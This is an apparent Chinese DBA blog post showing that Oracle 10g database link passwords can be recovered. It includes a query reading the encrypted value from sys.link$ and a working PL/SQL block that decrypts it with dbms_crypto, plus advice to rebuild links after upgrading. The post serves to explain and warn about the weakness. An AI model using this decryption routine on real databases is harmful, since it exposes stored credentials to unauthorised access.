[20170607]10g dblink的密码.txt

简介: [20170607]10g dblink的密码.txt --//10g下建立的dblink密码非常容易破解.只要能访问表sys.link$,做一个简单的测试来说明,实际上这个问题在11.

[20170607]10g dblink的密码.txt

--//10g下建立的dblink密码非常容易破解.只要能访问表sys.link$,做一个简单的测试来说明,实际上这个问题在11.2.0.1之前都是存在
--//的.

1.环境:
SYS@orcl> @ &r/ver1
PORT_STRING                   |VERSION       |BANNER
------------------------------|--------------|----------------------------------------------------------------
x86_64/Linux 2.4.xx           |10.2.0.4.0    |Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi

2.破解dblink密码:

SYS@orcl> select PASSWORDX c40 from sys.link$ where name='XXX';
C40
----------------------------------------
0582XXXXXXXX042490XXXX1C8E6819B9

set serveroutput on
declare
db_link_password varchar2(100);
begin
db_link_password := '&1';
dbms_output.put_line ('Password: ' || utl_raw.cast_to_varchar2 ( dbms_crypto.decrypt ( substr (db_link_password, 19) , dbms_crypto.DES_CBC_PKCS5 , substr (db_link_password, 3, 16) ) ) );
end;
/

--//设置到安全因素,我修改了显示输出,我在生产系统做了验证都是正确的.
--//要注意是如果系统从11.2.0.1升级,要注意重建dblink的密码,规避这个问题.

目录
相关文章
|
5月前
|
关系型数据库 Linux 数据库
修改postgres密码
修改postgres密码
|
10月前
|
关系型数据库 MySQL 数据库
MySQL--创建用户命令grant语句学习(详细学习)
MySQL--创建用户命令grant语句学习(详细学习)
763 1
|
存储 Oracle 关系型数据库
oracle快速创建用户、imp/exp导入导出dmp文件
oracle快速创建用户、imp/exp导入导出dmp文件
479 0
|
Oracle 关系型数据库 测试技术
|
关系型数据库 Oracle Linux
[20170712]建立dblink的问题.txt
[20170712]建立dblink的问题.txt SYS@book> @ &r/ver1 PORT_STRING                    VERSION        BANNER ----------------------...
941 0
|
Oracle 关系型数据库 数据库
[20170628]11g修改用户名.txt
[20170628]11g修改用户名.txt --//昨天看了链接,提到修改用户名: http://www.oratea.com/2017/06/26/oracle-11g%e4%bf%ae%e6%94%b9%e7%94%a8%e6%88%b7%e5%90%8d/ --//自己也测试看看.
943 0
|
SQL
[20170506]fetch sqlplus arraysize.txt
[20170506]fetch sqlplus arraysize.txt http://blog.itpub.net/267265/viewspace-2138042/ --//前一阵子写的,如果设置arrarsize=3,可以看到3条3条输出.
942 0
|
数据库
[20170210]关于dblink.txt
[20170210]关于dblink.txt --昨天朋友要求建立的数据库关闭全部dblink.实际上很简单设置open_links,open_links_per_instance为0就ok了.
920 0
[20161021]关于sqlplus sqlprompt设置.txt
[20161021]关于sqlplus sqlprompt设置.txt --别人的服务器没有设置sqlprompt,随手设置一下,发现一些问题。 --从网上抄了下来: SYS@test> set sqlprompt "_user@_connect_identifier>" SYS@_connect_identifier> --居然变成这样。
1192 0